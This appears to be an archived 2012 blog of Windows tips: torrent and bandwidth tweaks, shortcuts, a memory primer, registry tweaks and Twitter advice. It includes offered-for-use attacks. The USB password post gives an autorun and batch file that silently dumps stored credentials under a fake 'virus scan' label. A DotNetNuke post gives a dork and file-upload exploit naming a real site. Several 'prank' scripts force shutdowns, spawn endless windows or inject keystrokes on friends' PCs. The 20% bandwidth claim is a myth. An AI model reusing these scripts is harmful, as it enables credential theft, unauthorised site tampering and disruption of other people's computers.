2012-08-25T02:51:00.002-07:00

Speed up your internet by 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor.

Then go to:
--> Local Computer Policy

--> Computer Configuration
--> Administrative Templates

--> Network

--> QOS Packet Scheduler

--> Limit Reservable Bandwidth.

Double click on Limit Reservable bandwidth.

It will say it is not configured, but the truth is under the 'Explain' tab i.e." By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Internet Explorer Hotkeys | keyboard Shortcuts

2012-08-25T02:39:00.000-07:00

Internet Explorer Hotkeys | keyboard Shortcuts

These are achieved by holding down the CONTROL (CTRL) key and pressing the assigned key

To Select all items on a webpage use CTRL and A.

To Copy a selected item to the clipboard use CTRL and C.

To Paste an item from the clipboard into a document use CTRL and V.

To Add the current page/document to your favorites use CTRL and D.

To Open the IE search utility use CTRL and E.

To Open the FIND box to search the current document use CTRL and F.

To Open the History utility use CTRL and H.

To Open the Favorites utility use CTRL and I.

To Go to a new location/document use CTRL and L. Also CTRL and O.

To Open a new Explorer window use CTRL and N.

To Print the current page/document use CTRL and P.

To Refresh the current page/document use CTRL and R or use the F5 key.

To Save the current document/page use CTRL and S.

To Close the current Explorer window use CTRL and W.

These are achieved by holding down and pressing a combination of keys

To go to your default homepage use ALT and the HOME key.

To go forward one page (equivalent to the FORWARD button) use ALT and the right arrow key.

To go back one page (equivalent to the BACK button) use ALT and the left arrow key.

How to Hack U torrent speed...

2012-08-25T01:33:00.004-07:00

How to Hack U torrent speed...

µTorrent is a lightweight and efficient BitTorrent client for Windows with many features.
if any torrent is not getting seeds or have slow speed open µTorrent and click on that file . Torrent properties dialog box will open given above in the screenshot-
Copy and paste these trackers given below in red this torrent properties.

http://tracker2.istole.it:60500/

announce

Top Tips to increase bittorent download Speed

2012-08-25T01:21:00.000-07:00

Top Tips to increase bittorent download Speed

The latest file sharing protocol bittorrent has modified everything when it comes to file sharing. It is a nice platform for downloading large files. Sharing of files include movies, iso images and MP3 songs. Bittorent is mainly famous for illegal file sharing .
The Bittorrent system can be slow at times due to heavy traffic. so let us tweak bittorrent sharing program a little bit.
There are a lot of different bittorrent clients that you can download. I think the best are BitCommet and uTorrent.

Here is a few tips to speed up uTorrent Client. Similar can be implemented on any other torrent clients ,which you are using.

Step 1: Increase TCP connections

You need to increase the number of TCP connections that are allowed at max.Windows XP Service Pack 2 came with the number of allowed open connections to 10. This is to stop any piece of spyware(in our case bittorent client even) from totally taking over your internet connection. TCP connection allowed should be 50 for optimal performance. The best way to increase the maximum number of connections is to apply patch that is available at www.lvllord.de. A nice way to fix this is to download this patch .

The little tweak to the torrent client works great in certain times. If you’re using uTorrent go to Options menu then Preferences. In the Preferences go the Advanced Options. In the advanced options change the net.max_halfopen connections to 80. In the same section change the max half open tcp connections to 80. Once your done click on OK and you are all set. This tweak will let the maximum TCP connection available for the bittorrent client. Now start downloading you’ll realize a little difference in the download speed. Port forwarding technique is more effective than this.

A third point of interest is that some “windows updates” revert your tweaked tcp connections back to 10. So it’s wise to check this every now and then. You can check this by going to (in windows xp) Start > Control Panel > Administrative Tools > Event Viewer > System… Look for event 4226 (sort by event).
If there are a lot of daily occurrences it’s likely that the max amount of half-open tcp connections was set back to 10. Or you’re infected with some nasty spy ware…

Step 2:Torrent Client Configuration
In order to apply these tips you must know your maximum up- and download speed. You can test your bandwidth over here (stop all download activity while testing).

Settings 1-4 can be found in the options, settings or preference tab of most torrent clients.

1. Maximum upload speed

Probably the most important setting there is. Your connection is (sort of) like a pipeline, if you use you maximum upload speed there’s not enough space left for the files you are downloading. So you have to cap your upload speed.

Use the following formula to determine your optimal upload speed…

80% of your maximum upload speed

so if your maximum upload speed is 40 kB/s, the optimal upload rate is 32kB/s But keep seeding!

Sniff Passwords Using USB Drive:-

2012-08-13T00:22:00.003-07:00

Sniff Passwords Using USB Drive:-

Tools Required:-

1-MessenPass

2-Mail PassView

3-IE Passview

4-Protected Storage PassView

5-PasswordFox

Step 1

-Copy all these files into your USB Drive.

-mspass.exe

-mailpv.exe

-iepv.exe

-pspv.exe

-passwordfox.exe

Step 2

-Create a new Notepad File and write these lines

[autorun]

open=launch.bat

-ACTION= Perform a Virus Scan

-Save the Notepad and rename it from

-New Text Document.txt to autorun.inf

-Now copy this autorun.inf file into your USB pen drive.

Step 3

-Create another Notepad File and write the following text into it.

-start mspass.exe /stext mspass.txt

-start mailpv.exe /stext mailpv.txt

-start iepv.exe /stext iepv.txt

-start pspv.exe /stext pspv.txt

-start passwordfox.exe /stext passwordfox.txt

-Save the Notepad and rename it from

-New Text Document.txt to launch.bat

-Copy the launch.bat file also to your USB drive.

Then After:-

1. Insert the pen drive and the auto run window will pop-up.

(This is because, we have created an auto run pen drive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background

(This process takes hardly a few seconds).

The passwords get stored in the .TXT files.

4. Remove the pen drive and you’ll see the stored passwords in the .TXT files.

Internet Explorer Hotkeys | keyboard Shortcuts

2012-08-13T00:10:00.003-07:00

Internet Explorer Hotkeys | keyboard Shortcuts :-

Internet Explorer Hotkeys | keyboard Shortcuts

These are achieved by holding down the CONTROL (CTRL) key and pressing the assigned key

To Select all items on a webpage use CTRL and A.

To Copy a selected item to the clipboard use CTRL and C.

To Paste an item from the clipboard into a document use CTRL and V.

Kebord LED Dancing Trick :-

2012-08-10T00:43:00.001-07:00

How to do that ?
1. Open Notepad and copy below codes into it.

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop

2. Then save this file as led.vbs (.vbs is must)

3. Open your save file and see your keyboard led blinking like disco lights.

How to disable blinking Led ?

1. First open Task Manager [ctrl+alt+del ]
2. Then Go to process tab.
3. Select wscript.exe
4. Click on End process.

How to Enable The Bit Locker Drive Encryption :-

2012-08-09T23:52:00.003-07:00

How to Enable The Bit Locker Drive Encryption :-

Step:-

Save The Password Recovery File in any other Drive

Don't Delete the Password Recovery file

INTRODUCTION TO MEMORY :-

2012-08-06T05:08:00.001-07:00

MEMORY:-

Introduction to computer memory:-

Memory is just like the chip that can store data in both fashion i.e.in permanent and in temporary in other words it is just like a page of your note book from where you can retrieve the stored information. In simple word we can say that memory is just a storage unit.

Types of Memory:-

1. Temporary Memory (RAM)

In this type of memory data can be store in temporary fashion. Temporary memory is also known as volatile memory. It means these types of memory stored data when Pc is in ON condition the whole data will be lost when Pc is in OFF condition or power is failure. Example of this type of memory is RAM i.e. (Random Access Memory)

Feature of RAM:-

1. It is also also known as R/W memory.

2. In RAM user can read, write and modify data.

Limitation:-

It can lose data when Pc is in off condition.

2. Permanent Memory (ROM)

In permanent memory data can stored in permanent fashion. It is also known as Non Volatile memory. It means in this types of memory data can be stored even PC in off condition or power failure. ROM is example of Permanent memory. ROM (Read Only Memory)

Feature of ROM:-

1. It is also known as read only memory.

2. In ROM user can only read the data write & modification operation is impossible or difficult in ROM.

3. Because ROM is nonvolatile so data in ROM will be stay even PC is in OFF position.

3. Semi permanent Memory:-

Semi permanent memories store the data in semi permanent fashion. In semi permanent memory user can read, write modify & erase the data as well as data will be stay on there even Pc is in OFF condition. Example of semi permanent memory is HDD, FD, ZIP Disk, PEN Drive, Thumb Drive, etc.

Memory Organization:-

Memory Organization

Primary Memory

Secondary Memory

Temporary Memory / RAM

Permanent Memory / ROM

i) Temporary Memory:-

DRAM

NON EDO

EDO

SDRAM

DDRSDRAM

DDR2SDRAM

RDRAM

SRAM

NVRAM

VRAM

2ii) Permanent Memory

Masked ROM

PROM

EPROM

EEPROM

3. Secondary Memory:-

i) Magnetic

HDD

Floppy Disk

ZIP Disk

Tape Disk

VDO Cassette

ii) Optical

Compact Disc

DVD

iii) Flash

PEN Drive

Thumb Drive

SMC

MMC

Difference between Primary & Secondary Memory

Primary Memory	Secondary Memory
Primary memory has low access time i.e. 2.5 nano second.	Secondary memory has high access time i.e. 3.5 mille second.
Primary memory is fast.	Secondary memory is slow.
Primary memory stored small amount of data.	Secondary memory stored large amount of data.
Primary memory is costlier memory. According to per megabyte cost	Secondary memory is cheaper than Primary memory.
Primary memory is essential for computer system without it system can’t work.	Secondary memory is used for bulky data storage purpose without it system can work.

Difference between RAM & ROM

RAM	ROM
RAM is temporary memory.	Rom is permanent memory.
RAM is volatile nature i.e. it can wash out all data when power failure or Pc in OFF condition.	ROM is non volatile nature i.e. even Pc is OFF condition.
RAM has low access time i.e. 2.5 nano second.	ROM has high access time i.e. 3.0 nano second.
RAM is faster.	ROM is slower.
In RAM user can read, write and modify data on this memory.	In ROM user can only read data on this memory.

Difference between DRAM & SRAM

DRAM	SRAM
DRAM is a volatile nature.	SRAM is non-volatile nature.
In DRAM data is wash out when PC is in off condition or Power ‘s Failure	In SRAM data will be staying on there even PC is in off condition or power’s failure.
DRAM is Cheaper.	SRAM is costlier.
The Capacitors and transistor are used to implement the memory cell in DRAM.	The flip flop and registers is using to implements the memory cell in SRAM.
DRAM single capacitor and single Transistor is used to stored single bit in DRAM.	6 TO 8 transistors are used to store single bit in SRAM.

DRAM CHIP Explanation

DRAM: - NON EDO, EDO, SDRAM, DDRRAM, DDR2RAM, DDR3 RAM, RDRAM.

1) Feature of NON EDO RAM:-

1. Introduce with PC XT Computer in 1981 by IBM used with INTEL8086, 8088, 80186, 80286 Mp based system.

2. NON EDO RAM has 30 contacts. (Silver Coated Contacts)

3. It has 8bit RAM.

4. Runs at 10 MHz of clock frequency.

5. NON EDO RAM available in SIMM (Single inline memory module)/ SIP Package.

6. This RAM is outdated.

7. Store up to 2MB data.

2) Feature of EDO RAM: - It is also known as Hyper page mode DRAM, EDO RAM starts the fetching the data from the next cell before the previous process complete.

1. Introduce with Pc AT by IBM in 1986 used with Intel 80386, 80486, PI, PII, and mP based system.

2. It has 72 contacts. (Silver coated)

3. EDO RAM was 32bit and also available in 64bit.

4. Runs at 25 MHz of clock frequency.

5. EDO RAM also available in SIMM & SIP package.

6. Store up to 64MB of data.

7. It is outdated.

3) Feature of SDRAM :-( Synchronies Dynamic Random Access Memory)

1. Introduce with PC ATX used with INTEL PII, PIII, Mp based system

2. It had 168 contacts.(Gold coated)

3. SDRAM was 64 bit RAM.

4. Runs at 66 MHz up to 133 MHz of clock frequency.

5. SDRAM available in DIMM (Dual/Double inline memory module) / DIP (Double inline pins) package.

6. Stored up 128MB of data. (Single Chip)

7. Now it is outdated.

4) Feature of DDRRAM:-

1. DDRRAM stands for Double Data Rate Random Access Memory.

2. Used with PIV, mp based system and also with AMD’s mp (Athlon, sempron)

3. Introduced with PC ATX system.

4. It has 184 Contacts.

5. DDRRAM runs 233MHz, 266, 333, 400, 433, 533 MHz of clock frequency.

6. DDRRAM has 64 bits.

7. DDRRAM stored up to 2 GB of data.

8. DDRRAM available in DIMM, DIP, Package.

9. DDRRAM has golden-coated contacts.

Difference between SDRAM AND DDRRAM

SDRAM	DDRRAM
1. Passed data on single pulse that is on rising edge.	Passed double data in single pulse i.e. on rising edge and falling edge.
2. It has two cuts	2 It has one cut
3. It can operate on 3.3 V	3. It can operate on 2.5V
4. It has 168 contacts	4 It has 184 Contacts

Feature of DDR2RAM: -

1. It has 240 contacts.

2. Runs on 667 MHz to 1067MHz.

3. Introduce with PIVHT mP or laptop system also available in chipset 945 up to 965 chipset.

4. DDR2RAM available in DIMM package.

5. It can operate on low voltage 1.8v.

6. Stored up to 2 GB of data.

Feature of RDRAM: -

1. Introduce with PC ATX system.

2. Used with server based computer or used with socket 423(Earlier Piv)

3. Intel Xeon mP support RDRAM.

4. It has 184 contacts.

5. RDRAM available in RIMM package.

6. Runs at 800MHz up to 1066MHz of clock frequency.

7. Stored up to 2GB of data.

Memory Module or RAM Packaging Style

Memory modules are slot that can provide the base for inserting RAM chip it can be available in different shape for e.g.

SIMM/SIP

1. NON EDO and EDO

2. SIMM packaging style available in white color.

3. SIMM memory notch made up of steel.

4. RAM can be inserted at 45⁰ angles.

DIMM/DIP

1. SDRAM and DDRRAM supported

2. DIMM it can be available in black, blue, yellow color.

3. Memory notch is made up of plastic.

4. In this RAM is inserted at 90⁰ angles.

RIMM

RDRAM

Troubleshooting in RAM (Troubleshooting is a technique that sort out the faults in system)

Symptoms: IF RAM is faulty than system can’t show the display on monitor

How we trace out that RAM is faulty

Using two Methods we can easily trace out the faults in RAM

1. BIOS Beep Code : BIOS stands for Basic input Output system, it can perform the test of internal system components if it find any faults than it show the faults using beep code:

IF your system show Continue long beep: Than your RAM is faulty

Solution: Replace the RAM

2. Debug card: It is debugging device that check the system status if it find any faults than it can display the faults using Hexadecimal code. It can be vary according your BIOS

If your RAM is faulty than Debug Card show the following Code

D2 etc with continue long beep

RAM Manufactures :-

Perx

Samsung

Ballmax

Samtronics

Corsair

Kingston etc.

My Window Ultimate:-

2012-08-06T05:03:00.001-07:00

My Window Ultimate:-

Use Your Keyboard As Mouse

2012-08-05T20:11:00.002-07:00

Use Your Keyboard As Mouse:-

When mouse isn’t working properly , this trick can be very helpful. To activate mouse keys all you do is press Alt+Left shift key + NumLock and click OK or press enter .

Use the Numerical pad for controlling the mouse pointer
5 is for click.
+ is for double click
- for right click.

Transform your Windows XP in to Windows 7

2012-08-05T20:09:00.001-07:00

If you are using Windows XP and want to experience Windows 7 without instralling then here isSeven Remix XP transformation pack to transform Windows XP to Windows 7.With this simple app you can make your XP look like Windows 7 in just few clicks. It supports Windows XP, Windows 2003Windows Media Center Edition and some other flavors of XP. Will work with only 32 bit edition of Windows.

Just Download it and install it.

Download Seven Remix XP and transform your windows xp .

DNN (Dot Net Nuke) Hacking :-

2012-08-05T19:44:00.000-07:00

DNN (Dot Net Nuke) Hacking

DotNetNuke (DNN) is an open source Portal and Content Management Framework, based on Microsoft's .NET technology.DNN offers a robust, extensible and fully functional framework for the development of a broad range of commercial portal applications. DotNetNuke is the leading Web Content Management Platform for Microsoft .NET, powering more than 600,000 web sites worldwide

First use a Google dork to find the appropriate target.

inurl:/tabid/36/language/en-US/Default.aspx

Now I Open this Website

Then check the required vulnerability on the website just place this code after the web address. (Just See)

/Home/tabid/36/Language/en-US/Default.aspx

Now replace it with

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

For example if you got

http://www.example.com

Replace it

http://www.example.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

Now Put this Javascript Code to the address bar

javascript:__doPostBack('ctlURL$cmdUpload','')

It will allow you to upload a file on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.

After uploading files you can find your file on this address http://www.example.com/portals/0/yourfile.extension

So In this Case

http://www.glv.gl/Portals/0/chetan.png

5 New Great Registry Hacks

2012-08-03T04:24:00.003-07:00

1. Security:

USB Drives are one of the major tool through which data transfer takes place. In order to protect your data from getting stolen from you computer with the help of a USB drive you can make the USB drives read only.
Go to ‘HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies‘ and create a new DWORD value ‘WriteProtect‘ and set its value to 1. This will enable you to read from USB drives, but you won’t be able to copy data to it.

2. Sorting Files:

Quite often you want the files to appear according to their names in explorer. In order to restore the ASCII file ordering, perform the following hack :
Go to ‘HKLM\Software\Microsoft\Windows\Currentversion\Policies\Explorer’ and create a new DWORD value called as ‘NoStrCmpLogical’ and set its value to 1.

3. Speeding Up Menu loading time:

In order to make your menus load faster, perform the following tweak.
Go to ‘HKEY_CURRENT_USER\ Control Panel\Desktop‘ and right click ‘MenuShowDelay’ and click ‘Modify’. Change the string value to some nearby 100 value.

4. Reducing Folder Accessibility Time:

To speed up the access to any folder that is pinned to start menu, perform the following hack
Go to ‘HKCR\Folder\shellex\ContextMenuHandlers’ and right click ‘ContextMenuHandlers‘ and click ‘New|Key‘. Type ” (blank space and no quotation marks) and press Enter. Select any folder and right click on it to select ‘Pin to Start Menu’ while holding Shift key.

5. Multiple Logins in Messenger:

By default you are allowed only a single login at a time on Live Windows Messenger. You can override this by
Go to ‘HKLM\Software\Microsoft\WindowsLive\Messenger’ and create a new DWORD value ‘Multiple Instances’ and its values as 1.

10 New Trick's of NotePad To Scare Your Friends

2012-08-03T04:19:00.002-07:00

Cycle a message in your friend’s computer.

Type :
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it as pc.bat and send it to your friends.

Make Keyboard Keys Type Continuously:

Type :
MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save it as pc.vbs and send it to your friends.

Convey your friend a message and shut down his/ her computer.

Type :
@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s
Save it as pc.bat and send it to your friends.

Toggle your friend’s Caps Lock button simultaneously

Type :
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Enter simultaneously whenever they press a key :

Type :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Save it as pc.vbs and send it to your friends.

Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Type :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop
Save it as pc.vbs and send it to your friends.

Open Notepad, slowly type anythingand freak your friends out:

Type :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo “
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re “
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? “
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Save it as pc.vbs and send it to your friends.

Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key :

Type :
MsgBox “Let’s rock and roll”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save it as pc.vbs and send it to your friends.

Open Notepad continuously in your friend’s computer:

Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as pc.bat and send it.

Continuously pop out your friend’s CD or DVD Drive.

Type :
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as pc.vbs and send it to your friends.

Seven trick's to increase Torrent Speed

2012-08-03T04:11:00.000-07:00

The use of Bit Torrent is an efficient way to transfer files of just about any size quickly and efficiently. How this works is by breaking the huge files into smaller pieces and is from one or many of the different sources. This is one of the best ways to transfer bulky files quickly even when you are using a low bandwidth connection. There are many more things that you can do with Bit Torrent, but here we are going to discuss how to make this work much faster.

Here are some essential tips for the same,
Start with your ISP:
All ISP has a preset maximum upload and download speed, and you cannot make your torrent work beyond this speed. All you can do is to use the best use of this upload and download speed even when the signal is weak. You can check the maximum speed that you can achieve by conducting a broadband speed test and compare with the DSLReports that comes with your uTorrent.
Opt-In for healthy seeds and peers:
A peer is any computer participating in downloading and uploading of torrent files along with that of yours. A seeder is one who has a complete copy of the file that is being shared across a torrent network. A leecher is the person who has joined the network recently and do not have most of the file that you or the peer has. This leecher becomes the seeder when they download the entire file and is able to share it across the network. For getting high torrent speed, you need to increase the number of seeders to increase the chance of healthier and reception of higher speeds.
Get through the firewall:
Many times, you will find the administrator or the firewall in your web browser is set to block and receive torrent files. The first thing that you need to do is to get appropriate permissions for downloading torrent files, and add this to your firewall, which will enhance the speed at which you can download torrent files. If the internet is through a router, then you have to set the torrent file to cross the barrier of the security of the router also.
Go to a different port:
The default port for BitTorrent protocol is always between the numbers 6881-6999. This is because BitTorrent sharing will involve high bandwidth usage. However, this is possible that you can configure a different port for your torrent client and this has been best advised to set this number to somewhere around 10000.
Limit your upload rate:
A peer to peer network is sharing alike on the same or similar platform and therefore you should be able to set your client’s upload speed rate to a maximum amount, which will usually be about 80 percent of your maximum upload speed that is being offered by your ISP. Keep this speed, as high as possible, but you have to play your cards well as the upload speed affects your download speed as well.
Use your common sense:
If you understand the concept of how Bit Torrent works, then your common sense will automatically tell you that this is possible to view the individual files being downloaded and disable the ones that you are not in need off, which will help you to speed up the process of downloading the files using Bit Torrent.
Bandwidth and connections:
This is possible to set the maximum number of connections, maximum number of peers connected per torrent and number of slots per torrent so that you can decide on which numbers gives the maximum efficiency from your Bit Torrent files.
Now is that you have some tips on how to increase the speed of downloading while using Bit Torrent, why not try these tips out next time! Comments are appreciated!!

How to Make the Most Out of Your 140 Characters on Twitter Posted by pcadmin on June 26th, 2012 | No Comments

2012-08-03T04:09:00.001-07:00

When you’re on Twitter, fitting everything into 140 characters can be tricky. How do you condense your thoughts into a few short sentences? It’s important to make the most out of your tweets for several reasons. When you’re able to create short and interesting tweets, you’ll gain more followers and make more connections over the social network. Good tweets are more likely to get replies or retweeted on other Twitter feeds.

1. Get rid of some of the names in the tweets. Each Twitter username takes up room in your tweet. If you’re replying to a tweet or re-tweeting someone else’s message, delete some of the names. When you create your own tweet, send out individual mentions instead of mass messages.

2. Learn Twitter shorthand. People who are familiar with Twitter know the lingo. Most text message shorthand applies to Twitter and symbols are often used in place of longer words. For instance, use “&” and “+” instead of and in your Tweets. Certain vowels can also be dropped in sentences to make more room.

3. Shorten links. Links with long names can take up most of your 140 character limit. Instead use a shorten link tool like bit.ly to make it much easier to place website links in your tweets.

4. Don’t go hashtag crazy. Although you think a ton of hashtags will attract followers, it may actually turn off users from your tweets. Try to use only one or two hashtags per message.

If you absolutely can’t shorten anymore, you can always send two consecutive Tweets. However, staying within the limit helps you say exactly what you want to in the most concise way possible.